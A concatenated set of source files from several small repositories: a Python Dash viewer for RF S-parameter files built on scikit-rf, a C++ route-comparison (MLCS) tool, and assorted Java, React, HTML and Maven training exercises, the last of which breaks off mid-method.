for key, val in data.items():
if write_snp:
ntwk = load_touchstone(val.encode(), key)
else:
ntwk = from_json(val)
if parm == 'S':
pass
elif parm == 'Y':
ntwk.s = ntwk.y
elif parm == 'Z':
ntwk.s = ntwk.z
elif parm == 'A':
ntwk.s = ntwk.a
for i in range(len(ntwk.s[0, :, 0])):
for j in range(len(ntwk.s[0, 0, :])):
for k in selected_rows:
if selected_data[k]['Parameters'] == f'{i+1}{j+1}':
yvals1 = []
yvals2 = []
if axes_format == "MAG":
yvals1.append(ntwk.s_mag[:, i, j])
yvals2.append(ntwk.s_deg[:, i, j])
elif axes_format == "RI":
yvals1.append(ntwk.s_re[:, i, j])
yvals2.append(ntwk.s_im[:, i, j])
elif axes_format == "TIME":
yvals1.append(ntwk.s_mag[:, i, j])
yvals2.append(ntwk.s_time_mag[:, i, j])
elif axes_format == "BODE":
# mpl_to_plotly and plotly don't support Bode plots, so data is plotted
# in mpl and read in as image. traces1 stores y data, traces2 stores
# trace labels for figure
traces1.append(ntwk.s[:, i, j])
traces2.append(f'{parm}{i + 1}{j + 1}')
continue # skip normal plotly output
traces1.append(
go.Scattergl(x=ntwk.f, y=yvals1[0], mode='lines',
name='{}{}{} {}'.format(parm, i + 1, j + 1, key)
)
)
if axes_format == "TIME":
traces2.append(
go.Scattergl(x=ntwk.frequency.t, y=yvals2[0],
mode='lines',
name='{}{}{} {}'.format(parm, i + 1,
j + 1, key)
)
)
else:
traces2.append(
go.Scattergl(x=ntwk.f, y=yvals2[0],
mode='lines',
name='{}{}{} {}'.format(parm, i + 1,
j + 1, key)
)
)
else:
continue
# Define Layouts
if axes_format == "MAG":
layout1.append(go.Layout(
xaxis={'title': 'Frequency [Hz]',
'exponentformat': 'SI'},
yaxis={'type': 'log',
'title': '{} Parameter Magnitude'.format(parm)},
margin={'l': 60, 'b': 40, 't': 10, 'r': 10},
legend={'x': 1, 'y': 1},
hovermode='closest'
))
layout2.append(go.Layout(
xaxis={'title': 'Frequency [Hz]',
'exponentformat': 'SI'},
yaxis={'type': 'linear',
'title': '{} Parameter Phase'.format(parm)},
margin={'l': 60, 'b': 40, 't': 10, 'r': 10},
legend={'x': 1, 'y': 1},
hovermode='closest'
))
elif axes_format == "RI":
layout1.append(go.Layout(
xaxis={'title': 'Frequency [Hz]',
'exponentformat': 'SI'},
yaxis={'type': 'linear',
'title': '{} Parameter Real'.format(parm)},
margin={'l': 60, 'b': 40, 't': 10, 'r': 10},
legend={'x': 1, 'y': 1},
hovermode='closest'
))
layout2.append(go.Layout(
xaxis={'title': 'Frequency [Hz]',
'exponentformat': 'SI'},
yaxis={'type': 'linear',
'title': '{} Parameter Imaginary'.format(parm)},
margin={'l': 60, 'b': 40, 't': 10, 'r': 10},
legend={'x': 1, 'y': 1},
hovermode='closest'
))
elif axes_format == "TIME":
layout1.append(go.Layout(
xaxis={'title': 'Frequency [Hz]',
'exponentformat': 'SI'},
yaxis={'type': 'log',
'title': '{} Parameter Magnitude'.format(parm)},
margin={'l': 60, 'b': 40, 't': 10, 'r': 10},
legend={'x': 1, 'y': 1},
hovermode='closest'
))
layout2.append(go.Layout(
xaxis={'title': 'Time [s]',
'exponentformat': 'SI'},
yaxis={'type': 'log',
'title': '{} Parameter, Time Domain'.format(parm)},
margin={'l': 60, 'b': 40, 't': 10, 'r': 10},
legend={'x': 1, 'y': 1},
hovermode='closest'
))
elif axes_format == "BODE":
# See https://github.com/4QuantOSS/DashIntro/blob/master/notebooks/Tutorial.ipynb
# for example of encoding mpl figure to image for dash
fig = plt.figure()
ax1 = fig.add_subplot(111)
legend_entry = []
for i, s in enumerate(traces1):
if parm == 'Y':
rf.plotting.plot_smith(s, ax=ax1, label=traces2[i], chart_type='y')
else:
rf.plotting.plot_smith(s, ax=ax1, label=traces2[i])
out_img = io.BytesIO()
fig.savefig(out_img, format='png')
fig.clf()
plt.close('all')
out_img.seek(0) # rewind file
encoded = base64.b64encode(out_img.read()).decode("ascii").replace("\n", "")
return (
html.Div([
# skip normal plotly graph return and return image of plt.figure() instead
html.Div('Interactive Bode plots not yet supported.'),
html.Img(src="data:image/png;base64,{}".format(encoded))
]),
plotted_axes_format_output
)
return (
html.Div([
dcc.Graph(id='graph1', figure={'data': traces1, 'layout': layout1[0]}),
dcc.Graph(id='graph2', figure={'data': traces2, 'layout': layout2[0]})
]),
plotted_axes_format_output
)
<file_sep>jupyter
jupyterlab
jupyterlab-dash
git+https://github.com/scikit-rf/scikit-rf
<file_sep>### V 0.4.0
Move to flask-caching instead of hidden div (2.5x increase in performance)
### V 0.3.0
Initial Time Gating Support in viewer app
### V 0.2.0
Switched to tabular based layout with loaded data always visible,
in preparation for adding new "apps" beyond the snp viewer in the future.
Implemented ability to select specific uploaded networks to plot.
<file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Mar 26 14:55:47 2019
@author: ander906
"""
import dash
# need these hubzero functions
from hublib.util import get_proxy_addr, check_access
external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']
# # For hubzero, need to set the base path
app = dash.Dash(url_base_pathname=get_proxy_addr()[0], external_stylesheets=external_stylesheets)
# # Optional. Use hubzero authentication.
# check_access(app)
# app = dash.Dash(__name__, external_stylesheets=external_stylesheets)
server = app.server
app.config.suppress_callback_exceptions = True<file_sep>#!/bin/bash
pip install -r jupyter-requirements.txt
conda install -c conda-forge nodejs
NODE_OPTIONS=--max_old_space_size=4096 jupyter labextension install jupyterlab-dash # attempt to fix build error per https://github.com/jupyterlab/jupyterlab-github/issues/97
<file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Mar 26 14:57:14 2019
@author: ander906
"""
import sys
from os.path import join, dirname, abspath, basename, realpath
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
def isnotebook():
'''
Check if in jupyterlab environment.
From https://stackoverflow.com/questions/15411967/how-can-i-check-if-code-is-executed-in-the-ipython-notebook
'''
try:
shell = get_ipython().__class__.__name__
if shell == 'ZMQInteractiveShell':
return True # Jupyter notebook or qtconsole
elif shell == 'TerminalInteractiveShell':
return False # Terminal running IPython
else:
return False # Other type (?)
except NameError:
return False # Probably standard Python interpreter
in_jupyterlab = isnotebook()
hubzero = False
auth_on = True
flask_debug = False
for arg in sys.argv: # Check if any hubzero runtime arguments were specified.
if arg == 'hubzero':
hubzero = True
elif arg == 'noauth':
auth_on = False
elif arg == "debug":
flask_debug = True
else:
continue
# Handle conditional imports for hubzero hosting
if hubzero:
from hublib.util import check_access
from hubzeroapp import app
if auth_on: check_access(app)
elif in_jupyterlab:
import jupyterlab_dash
viewer = jupyterlab_dash.AppViewer()
from app import app
else:
from app import app
server = app.server
from apps import app_viewer
if flask_debug:
from werkzeug.middleware.profiler import ProfilerMiddleware
changes = ''
with open(join(dirname(dirname(abspath(__file__))), 'CHANGELOG.md')) as f:
changes = changes+f.read()
app.layout = html.Div([
dcc.Location(id='url', refresh=False),
html.Div(id='page-content'),
])
@app.callback(Output('page-content', 'children'),
[Input('url', 'pathname')])
def display_page(pathname):
try: # Need to take basename to handle nanohub proxy
if basename(pathname):
pathname=basename(pathname)
except TypeError: # On start of app, pathname will be NoneType, throwing error unless caught
pass
if pathname == 'app_viewer':
return app_viewer.layout
else:
return html.Div([
html.A(
children=html.Img(src=app.get_asset_url('github2.svg')),
href=r'https://github.com/JAnderson419/SNaP',
style={'fill': r'#151513', 'color': r'#fff', 'position': 'absolute', 'top': 0, 'border': 0, 'right': 0}
),
html.H1('SNaP SnP Utilities'),
html.H3(children='by <NAME>, <EMAIL>'),
html.Hr(),
html.H5('Release Notes'),
html.Div(
dcc.Markdown(children=changes),
style={'border': '2px solid #a3a3c2', 'background-color': r'#f0f0f5',
'height': r'10em', 'overflow': 'scroll', 'resize': 'both'}
),
html.Hr(),
dcc.Link('Go to SnP Viewer.', href='app_viewer'),
html.A(
children=html.Img(src=app.get_asset_url('powered_by_scikit-rf.svg')),
href=r'http://scikit-rf.org',
style={'position': 'absolute', 'bottom': 0, 'right': 0}
),
])
def main():
if hubzero:
app.run_server(port=8000, host='0.0.0.0')
elif in_jupyterlab:
viewer.show(app)
else:
if flask_debug:
print(join(dirname(dirname(realpath(__file__))), 'debug'))
app.server.config['PROFILE'] = True
app.server.wsgi_app = ProfilerMiddleware(app.server.wsgi_app,
restrictions=[30],
profile_dir=join(dirname(dirname(realpath(__file__))), 'debug'))
app.run_server(debug=False)
else:
app.run_server(debug=True)
if __name__ == '__main__':
main()
<file_sep>matplotlib
dash_core_components
plotly
dash_table
dash_html_components
numpy
dash
scikit_rf
Flask-Caching<file_sep>#!/bin/sh
/usr/bin/invoke_app "$@" -t snap \
-u anaconda-6 \
-C "python @tool/snap/index.py hubzero"<file_sep># <NAME>
import json
import numpy as np
import skrf as rf
from os.path import join, realpath, pardir, abspath
# from hypothesis import given, strategies as st
# from hypothesis.extra import numpy as stnp
# unit_dict = { \
# 'hz': 'Hz', \
# 'khz': 'KHz', \
# 'mhz': 'MHz', \
# 'ghz': 'GHz', \
# 'thz': 'THz' \
# }
# datatypes = st.one_of(st.integers,st.floats,st.complex_numbers)
# # TODO: fix arguements for st.builds so that it generates correctly
#
# def build_hypothesis_test_network(nports, npoints):
# return st.builds(
# rf.Network,
# name=st.characters,
# f=stnp.arrays(datatypes, [npoints]),
# z0=stnp.arrays(datatypes, [st.sampled_from([nports, npoints])]),
# s=stnp.arrays(datatypes, [npoints, nports, nports]),
# comments=st.characters,
# f_unit=st.sampled_from((None, 'hz', 'khz', 'mhz', 'ghz'))
# )
# test_ntwk = build_hypothesis_test_network(st.integers(min_value=1, max_value=20),
# st.integers(min_value=0, max_value=100000))
#
#
# @given(test_ntwk)
# def test_random_snp(obj):
# assert False
class TouchstoneEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, np.ndarray):
return obj.tolist()
if isinstance(obj, np.complex):
return np.real(obj), np.imag(obj) # split into [real, im]
if isinstance(obj, rf.Frequency):
return {'flist': obj.f_scaled.tolist(), 'funit': obj.unit}
return json.JSONEncoder.default(self, obj)
def to_json(network):
return json.dumps(network.__dict__, cls=TouchstoneEncoder)
def from_json(obj_string):
obj = json.loads(obj_string)
ntwk = rf.Network()
ntwk.variables = obj['variables']
ntwk.name = obj['name']
ntwk.comments = obj['comments']
ntwk.port_names = obj['port_names']
ntwk.z0 = np.array(obj['_z0'])[..., 0] + np.array(obj['_z0'])[..., 1] * 1j # recreate complex numbers
ntwk.s = np.array(obj['_s'])[..., 0] + np.array(obj['_s'])[..., 1] * 1j
ntwk.frequency = rf.Frequency.from_f(np.array(obj['_frequency']['flist']),
unit=obj['_frequency']['funit'])
return ntwk
def test_snp_json_roundtrip():
'''
Tests if snp object saved to json and reloaded is still the same.
:return:
'''
datafile = r'357_pcb_960978_um_pe_001_25.s3p'
rootdir = abspath(join(realpath(__file__), pardir, pardir))
given = rf.Network(join(rootdir, 'example_data', datafile))
actual = from_json(to_json(given))
assert actual == given
assert actual.frequency == given.frequency
assert actual.name == given.name
| 404f04f0652c183e9f4b1ca9716801614ad354df | [
"Markdown",
"Python",
"Text",
"Shell"
] | 9 | Python | JAnderson419/SNaP | bb4b60814c879b93e39bdda85ca3bbd795aab15d | 3c432ed88c7237723d66009fa7095a5a6ffd6fc9 |
refs/heads/master | <file_sep>
#include "routemanger.h"
RouteManger::RouteManger()
{
inits_variables();
}
RouteManger::~RouteManger()
{
fclose(log);
}
int RouteManger::setLevel(int level)
{
current_level=level;
}
int RouteManger::inits_variables()
{
for(int l=0;l<MAX_LEVEL;l++)
{
diff_id_list[l][0]=0;
for(int k=1;k<MAX_DIFFER_LEN;k++)
diff_id_list[l][k]=-1;
}
for(int r=0;r<MAX_ROUTE_NUM;r++)
for(int i=0;i<MAX_ROUTE_LEN;i++ )
for(int j=0;j<MAX_ROUTE_LEN;j++)
Index_Sequence[r].index_table[i][j]=-1;
valid_route_num=0;
current_level=1;
is_compare_finished=false;
is_algorithm_improved=true;
prun_bigger=0;
prun_unvalid=0;
prun_same=0;
prun_trace=0;
total_nodes=0;
log=fopen("/home/tupei/log.txt","w");
return 0;
}
int RouteManger::add_to_id_list(unsigned int id_num,int level)
{
unsigned int len=diff_id_list[level][0];
if(len==0)
{
diff_id_list[level][1]=id_num;
diff_id_list[level][0]++;
return 0;
}
for(int k=1;k<=len;k++)
if(diff_id_list[level][k]==id_num)
return 0;
len+=1;
diff_id_list[level][len]=id_num;
diff_id_list[level][0]=len;
return 0;
}
int RouteManger::read_data_files(char *filepath)
{
FILE *file=fopen(filepath,"r");
fscanf(file,"%d\n",&valid_route_num);
#ifdef ROUTE_DEBUG
cout<<"valid_route_num="<<valid_route_num<<endl;
#endif
if(valid_route_num<1)
return -1;
unsigned int ip_num,subnet_num,as_num;
int hop_id,hop_num;
char ip[20]={'\0'};
char subnet[20]={'\0'};
for(int i=0;i<valid_route_num;i++)
{
//file>>hop_num;
fscanf(file,"%d\n",&hop_num);
#ifdef ROUTE_DEBUG
cout<<"route_"<<i<<" "<<"hops:"<<hop_num<<endl;
#endif
for(int j=0;j<hop_num;j++)
{
for(int m=0;m<20;m++)
{
ip[m]='\0';
subnet[m]='\0';
}
fscanf(file,"%d %s %s %d\n",&hop_id,ip,subnet,&as_num);
ip_num=ip_to_int(ip);
subnet_num=ip_to_int(subnet);
#ifdef ROUTE_DEBUG
cout<<ip_num<<" "<<subnet_num<<" "<<as_num<<endl;
#endif
add_to_id_list(ip_num,1);
add_to_id_list(subnet_num,2);
add_to_id_list(as_num,3);
all_routes[i].route[j].ID[IP_LEVEL]=ip_num;
all_routes[i].route[j].ID[SUB_LEVEL]=subnet_num;
all_routes[i].route[j].ID[AS_LEVEL]=as_num;
}
all_routes[i].valid_route_len=hop_num;
}
return 0;
}
unsigned int RouteManger:: ip_to_int(char *ip_addr)
{
unsigned int result=0;
unsigned int tmp=0;
int shit=24;
char *pstart=ip_addr;
char *pend=ip_addr;
while(*pend!='\0')
{
while(*pend!='.'&&*pend!='\0')
pend++;
tmp=0;
while(pstart<pend)
{
tmp=tmp*10+(*pstart-'0');
pstart++;
}
result+=(tmp<<shit);
shit-=8;
if(*pend=='\0')
break;
pstart=pend+1;
pend++;
}
return result;
}
int RouteManger::int_to_ip(unsigned int ip,unsigned char*ip_addr)
{
unsigned int tmp=ip;
ip_addr[0]=(unsigned char)*((char*)&tmp+0);
ip_addr[1]=(unsigned char)*((char*)&tmp+1);
ip_addr[2]=(unsigned char)*((char*)&tmp+2);
ip_addr[3]=(unsigned char)*((char*)&tmp+3);
return 0;
}
int RouteManger::construct_index_sequence()
{
int preIndex=-1;
unsigned int id;
for(int r=0;r<valid_route_num;r++)
{
for(unsigned int i=1;i<=diff_id_list[current_level][0];i++)
{
preIndex=-1;
for(int f=all_routes[r].valid_route_len-1;f>=0;f--)
{
id=all_routes[r].route[f].ID[current_level];
if(id==diff_id_list[current_level][i])
{
Index_Sequence[r].index_table[i-1][f]=f;
if(preIndex!=-1)
Index_Sequence[r].index_table[i-1][f+1]=-1;
preIndex=f;
}
else
Index_Sequence[r].index_table[i-1][f]=preIndex;
}
}
}
return 0;
}
int RouteManger::construct_pairs_tree()
{
PairNode VirtualPair;
VirtualPair.parent=-1;
VirtualPair.index=0;
VirtualPair.key=0;
VirtualPair.level=0;
VirtualPair.state='v';
for(int i=0;i<valid_route_num;i++)
VirtualPair.index_in_seuqences[i]=-1;
Pairs_table[0]=VirtualPair;
max_level=0;
level[0]=0;
for(int lev=0;lev<=max_level;lev++)
{
level_tree_generate(lev);
}
printf("Level: %d\n",current_level);
printf("Total: %d\n",total_nodes);
printf("Prune Unvalid Nodes: %d %.3f\n",prun_unvalid,float(prun_unvalid)/total_nodes);
printf("Prune Bigger Nodes: %d %.3f\n",prun_bigger,float(prun_bigger)/ total_nodes);
printf("Prune Parent-Same Nodes: %d %.3f\n",prun_same,float(prun_same)/total_nodes);
printf("Prune Traces-Same Nodes: %d %.3f\n",prun_trace,float(prun_trace)/total_nodes);
printf("-----------------------------------------------------\n");
return 0;
}
int RouteManger::pair_index_compare(PairNode p,PairNode q)
{
int count_p=0,count_q=0;
for(int i=0;i<valid_route_num;i++)
{
if(p.index_in_seuqences[i]>=q.index_in_seuqences[i])
{
count_p++;
if(count_p==valid_route_num)
return 1;
}
if(p.index_in_seuqences[i]<=q.index_in_seuqences[i])
{
count_q++;
if(count_q==valid_route_num)
return -1;
}
}
return 0;
}
int RouteManger::trace_back_lcs()
{
if(max_level<1) return -1;
int high=level[max_level];
int low=level[max_level-1]+1;
int index;
int common_num=0;
int key;
unsigned char ip_addr[15];
for(int i=high;i>=low;i--)
{
index=Pairs_table[i].index;
cout<<"MLCS: ";
while(Pairs_table[index].parent!=-1)
{
key=Pairs_table[index].key;
if (current_level<=2)
{
int_to_ip(key,ip_addr);
printf("%u.%u.%u.%u--",ip_addr[3],ip_addr[2],ip_addr[1],ip_addr[0]);
}
else
printf("%d--",key);
index=Pairs_table[index].parent;
}
cout<<endl;
}
return 0;
}
int RouteManger::level_tree_generate(int lev)
{
int high;
int low;
if(lev==0) high=low=0;
else
{
high=level[lev];
low=level[lev-1]+1;
}
int child_start_pos=high+1;
int child_pos=child_start_pos;
bool is_pair_valid=true;
bool is_first_child=true;
max_level=lev;
PairNode pair;
for(int l=low;l<=high;l++)
{
if (Pairs_table[l].state!='v')
continue;
for(unsigned int c=1;c<=diff_id_list[current_level][0];c++)
{
total_nodes++;
is_pair_valid=true;
int key=diff_id_list[current_level][c];
if (is_algorithm_improved==true) //Setting Improved options
{
if (low!=0)
{
if(Pairs_table[l].key==key) //prune the node with the same key
{
prun_same++;
continue;
}
if(find_previous(key,level[lev])==0) //prune the node with the same key on the traceback path
{
prun_trace++;
continue;
}
}
}
for(int s=0;s<valid_route_num;s++)
{
int index=Pairs_table[l].index_in_seuqences[s]+1;
int value=Index_Sequence[s].index_table[c-1][index];
if(value==-1)
{
if(is_algorithm_improved==true) //prune the node unvalid
prun_unvalid++;
is_pair_valid=false;
break;
}
pair.index_in_seuqences[s]=value;
}
if(is_pair_valid==false)
{
continue;
}
pair.key=diff_id_list[current_level][c];
pair.level=lev+1;
pair.state='v';
pair.index=child_pos;
pair.parent=Pairs_table[l].index;
if(is_first_child)
{
for(int k=0;k<valid_route_num;k++)
Pairs_table[child_pos].index_in_seuqences[k]=pair.index_in_seuqences[k];
Pairs_table[child_pos].key=pair.key;
Pairs_table[child_pos].level=pair.level;
Pairs_table[child_pos].parent=pair.parent;
Pairs_table[child_pos].index=child_pos;
Pairs_table[child_pos].state='v';
child_pos++;
is_first_child=false;
continue;
}
level_tree_prunning(child_start_pos,child_pos,pair);
}
}
//printf("Level: %d inter: [%d----%d)\n",lev+1,child_start_pos,child_pos);
if(child_pos==child_start_pos)
{
max_level=lev;
trace_back_lcs();
return 0;
}
else
{
max_level=lev+1;
level[max_level]=(child_pos-1);
}
return 1;
}
int RouteManger::pair_testify(PairNode & p,unsigned int key)
{
int index=p.index;
if(key!=p.key)
{
while(Pairs_table[index].parent!=-1)
{
index=Pairs_table[index].parent;
if (key==Pairs_table[index].key)
return 0;
}
}
return 1;
}
int RouteManger::level_tree_prunning(int &child_start,int& child_end,PairNode &pair)
{
int equal_count=0;
int valid_pairs_num=0;
for(int i=child_start;i<child_end;i++)
if (Pairs_table[i].parent==pair.parent)
valid_pairs_num++;
for(int i=child_start;i<child_end;i++)
{
if(Pairs_table[i].state!='v')
continue;
if (Pairs_table[i].parent!=pair.parent)
continue;
int result=pair_index_compare(pair,Pairs_table[i]);
if(result==0)
{
equal_count++;
if(equal_count==valid_pairs_num)
{
for(int k=0;k<valid_route_num;k++)
Pairs_table[child_end].index_in_seuqences[k]=pair.index_in_seuqences[k];
Pairs_table[child_end].key=pair.key;
Pairs_table[child_end].level=pair.level;
Pairs_table[child_end].parent=pair.parent;
Pairs_table[child_end].index=child_end;
Pairs_table[child_end].state='v';
child_end++;
break;
}
continue;
}
else if(result==-1)
{
Pairs_table[i].state='u';
}
else if(result==1)
{
prun_bigger++; //prune nodes with bigger values on the same level
break;
}
else
return -1;
}
return 0;
}
int RouteManger::clear()
{
current_level=1;
is_compare_finished=false;
is_algorithm_improved=true;
prun_bigger=0;
prun_unvalid=0;
prun_same=0;
prun_trace=0;
total_nodes=0;
for(int r=0;r<MAX_ROUTE_NUM;r++)
{
all_routes[r].valid_route_len=0;
for(int n=0;n<MAX_ROUTE_LEN;n++)
{
all_routes[r].route[n].ID[IP_LEVEL]=-1;
all_routes[r].route[n].ID[SUB_LEVEL]=-1;
all_routes[r].route[n].ID[AS_LEVEL]=-1;
}
}
return 0;
}
int RouteManger::find_previous(int key,int pos)
{
for(int i=1;i<=pos;i++)
if (Pairs_table[i].state=='v' &&Pairs_table[i].key==key)
return 0;
return -1;
}
<file_sep>#ifndef ROUTEMANGER_H
#define ROUTEMANGER_H
#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
class RouteManger
{
public:
RouteManger();
~RouteManger();
int read_data_files(char *filepath);
enum RouteParamater
{
MAX_ROUTE_NUM=10000,
MAX_ROUTE_LEN=40,
MAX_DIFFER_LEN=1000,
MAX_LEVEL=5,
ZERO_LEVEL=0,
IP_LEVEL=1,
SUB_LEVEL=2,
AS_LEVEL=3,
GEO_LEVEL=4
};
typedef struct st_Node
{
unsigned int ID[MAX_LEVEL];
}Node;
typedef struct st_Route
{
struct st_Node route[MAX_ROUTE_LEN];
int valid_route_len;
}Route;
struct st_Route *all_routes=new struct st_Route[MAX_ROUTE_NUM];
int valid_route_num;
int current_level;
int prun_unvalid;
int prun_bigger;
int prun_same;
int prun_trace;
int total_nodes;
unsigned int diff_id_list[MAX_LEVEL][MAX_DIFFER_LEN];
int inits_variables();
int add_to_id_list(unsigned intid_num,int level);
unsigned int ip_to_int(char *ip_addr);
int int_to_ip(unsigned int ip,unsigned char*ip_addr);
int setLevel(int level);
int max_level;
bool is_compare_finished;
typedef struct st_PairNode
{
unsigned int *index_in_seuqences=new unsigned int[MAX_ROUTE_NUM];
unsigned int key;
int parent;
int index;
int level;
char state;
}PairNode;
typedef struct st_IndexSequence
{
int index_table[MAX_DIFFER_LEN][MAX_ROUTE_LEN];
}IndexSequence;
struct st_IndexSequence *Index_Sequence=new struct st_IndexSequence[MAX_ROUTE_NUM];
struct st_PairNode *Pairs_table=new struct st_PairNode[MAX_ROUTE_LEN*MAX_ROUTE_NUM];
int level[MAX_ROUTE_LEN];
FILE*log;
int construct_index_sequence();
int construct_pairs_tree();
int level_tree_generate(int lev);
int pair_testify(PairNode & p,unsigned int key);
int find_previous(int key,int pos);
int pair_index_compare(PairNode p,PairNode q);
int level_tree_prunning(int &child_start,int& child_end,PairNode &pair);
int trace_back_lcs();
int clear();
bool is_algorithm_improved;
};
#endif // ROUTEMANGER_H
<file_sep>## FastRTD
###Description:
FastRTD is a algorithm written in c++ aims to boost a faster process in seeking the MLCS problem on the real routes ,
obtained from larget scale internet measurement
###Usage:
run the main.cpp and set the right input file path in paramater
./main [input]
<file_sep>#include<stdio.h>
#include<stdlib.h>
#include "routemanger.h"
int main(int argc,char*argv[])
{
RouteManger route;
route.inits_variables();
route.setLevel(3);
route.read_data_files(argv[1]);
route.construct_index_sequence();
route.construct_pairs_tree();
route.clear();
route.setLevel(2);
route.construct_pairs_tree();
route.clear();
route.setLevel(1);
route.construct_pairs_tree();
return 0;
}
| 511aaaeef28b023f26e02fae80432fae7bf8ded2 | [
"Markdown",
"C++"
] | 4 | C++ | tpwow/FastRTD | 0c48be8b3b67aec06cac1568da24c13cca8b8756 | 306883996c6e088f4a60e7ab469d67b68e7ff3cd |
refs/heads/master | <file_sep>import React from "react";
import ReactDOM from "react-dom";
import "./index.css";
import Button from "./component/Button"
ReactDOM.render(<Button />, document.getElementById("root"));<file_sep>package com.java.test;
public class CongTy extends Building {
}
<file_sep>import React from "react";
import PropTypes from "prop-types";
import "./ButtonPanel.css";
import Button from "./Button";
class ButtonPanel extends React.Component {
render(){
return(
<div className = "component-button-panel">
<div>
<Button name = "7" />
<Button name = "8" />
<Button name = "9" />
<Button name = "+" />
</div>
<div>
<Button name = "4" />
<Button name = "5" />
<Button name = "6" />
<Button name = "-" />
</div>
<div>
<Button name = "1" />
<Button name = "2" />
<Button name = "3" />
<Button name = "x" />
</div>
</div>
);
}
}
export default ButtonPanel;<file_sep>package com.qrv.people;
public class NnTiger {
public int teeth = 99;
boolean sharp_teeth = false;
public NnTiger() {
System.out.println("Trong package people");
}
}
<file_sep><!DOCTYPE html>
<html>
<head>
<link rel = "stylesheet" href = "style.css">
</head>
<body>
<h2>Media Queries</h2>
<p>Resize the browser window.</p>
<p>Make sure you reach the breakpoint at 800px when resizing this frame.</p>
<div class="left">
<p>Left Menu</p>
</div>
<div class="main">
<p>Main Content</p>
</div>
<div class="right">
<p>Right Content</p>
</div>
<br>
<p>♦</p>
<br>
<h2> HTML Forms </h2>
<form>
First name: <br>
<input type = "text" name = "firstname"> <br>
Last name: <br>
<input type = "text" name = "lastname"> <br> <br>
<input type = "submit" name = "Submit">
</form>
</body>
</html>
<file_sep>/**
*
*/
package vn.elca.training.service;
import java.util.List;
import vn.elca.training.dom.Project;
/**
* @author coh
*
*/
public interface ProjectService {
List<Project> findByQuery(String query);
}
<file_sep>package com.qrv.domain;
import java.util.ArrayList;
import java.util.List;
public class Test {
private int a = 2;
public int b = 5;
static public class StaticClass {
Test def = new Test();
Test.StaticClass abc = new Test.StaticClass();
public int b = def.a;
}
public class InnerClass {
int b = a;
public int c = 10;
}
public static boolean sameVowelPatternOfLongWord(String s1, String s2) {
return false;
}
public static void main(String[] args) {
String abc = "";
abc = abc.concat("a");
System.out.println(abc);
}
}
<file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>vn.elca.training</groupId>
<artifactId>unittest-exercise</artifactId>
<packaging>jar</packaging>
<version>1.0-SNAPSHOT</version>
<name>unittest-exercise</name>
<url>http://maven.apache.org</url>
<!-- Shared version number properties -->
<properties>
<org.springframework.version>3.1.2.RELEASE</org.springframework.version>
<commons.lang.version>2.6</commons.lang.version>
</properties>
<dependencies>
<!-- Core utilities used by other modules. -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${org.springframework.version}</version>
</dependency>
<!-- Application Context (depends on spring-core, spring-expression, spring-aop,
spring-beans) -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${org.springframework.version}</version>
</dependency>
<!-- Support for testing Spring applications with tools such as JUnit and
TestNG. This artifact is generally always -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<version>${org.springframework.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>${commons.lang.version}</version>
</dependency>
<dependency>
<groupId>org.easytesting</groupId>
<artifactId>fest-assert-core</artifactId>
<version>2.0M10</version>
</dependency>
</dependencies>
</project>
<file_sep>package com.qrv.WITH_Interface;
import javax.naming.OperationNotSupportedException;
import com.qrv.WITH_Interface.Test2.MathOperation;
public class Test3 implements MathOperator {
static MathOperation addition = (int a, int b) -> a + b;
static MathOperator subtract = (int a, int b) -> a - b;
static MathOperator supply = (int a, int b) -> a * b;
static MathOperator devide = (int a, int b) -> a / b;
public int operate (int a, int b, MathOperation opt) {
if (opt == addition)
return opt.addition(a, b);
}
@Override
public int operator(int a, int b) {
return 0;
}
public static void main(String[] args) {
Test3 tester = new Test3();
int a = tester.operate(5, 5, addition);
System.out.println(a);
}
}
<file_sep>package com.java.test;
import com.java.domain.*;
public class Building extends NhanVien
{
public static void main(String[] args) {
NhanVien nv1 = new NhanVien();
System.out.println(nv1.a);
Building b1 = new Building();
System.out.println(b1.sdt);
}
}
class normal{
}
<file_sep>package com.qrv.domain;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Employee[] emps = new Employee[3];
Scanner scan = new Scanner(System.in);
System.out.println("Vui long nhap vao thong tin cua 3 nhan vien");
for(int i = 0; i <emps.length; i++) {
String ten = scan.nextLine();
String tenduong = scan.nextLine();
double luong = scan.nextDouble();
Address add = new Address(tenduong);
Employee emp = new Employee(ten, luong);
emp.setAddress(add);
emps[i] = emp;
//xoa bo nho dem
scan.nextLine();
}
System.out.println("Thong tin 3 nhan vien vua nhap vao la :");
for (Employee emp : emps) {
System.out.println(emp.getTen() + " " + emp.getAddress().getTenDuong() + " " + emp.getLuong());
}
//close scan
scan.close();
}
}
<file_sep>package com.qrv.WITH_Interface;
public interface MathOperator {
int operator(int a, int b);
}
<file_sep>package test;
import static org.junit.jupiter.api.Assertions.*;
import org.junit.jupiter.api.Test;
import demo.Calculator;
class CalculatorTest {
@Test
void testEvaluate() {
//fail("Not yet implemented");
Calculator calculator = new Calculator();
int sum = calculator.evaluate("1+2+3");
assertEquals(6, sum);
}
}
<file_sep>import java.util.*;
public class Hello {
private static final String Scanner = null;
static int count = 0;
private static int b = 10;
public Hello() {
count ++;
System.out.println(count);
}
public static int tongHaiSo(int a) {
return a + b;
}
public static void main(String[] args) {
/*int x = 10;
int y = 14;
System.out.println(tongHaiSo(x));
function_a a = new function_a();*/
/*System.out.println(a.get());
Hello s1 = new Hello();
Hello s2 = new Hello();
Hello s3 = new Hello();
System.out.println(b);*/
/*String str = "Ayee yoo what zuppp";
String[] output = str.split(" ");
for (int i = 0; i < output.length ; i++ ) {
System.out.println(output[i]);*/
int a;
Scanner S = new Scanner(System.in);
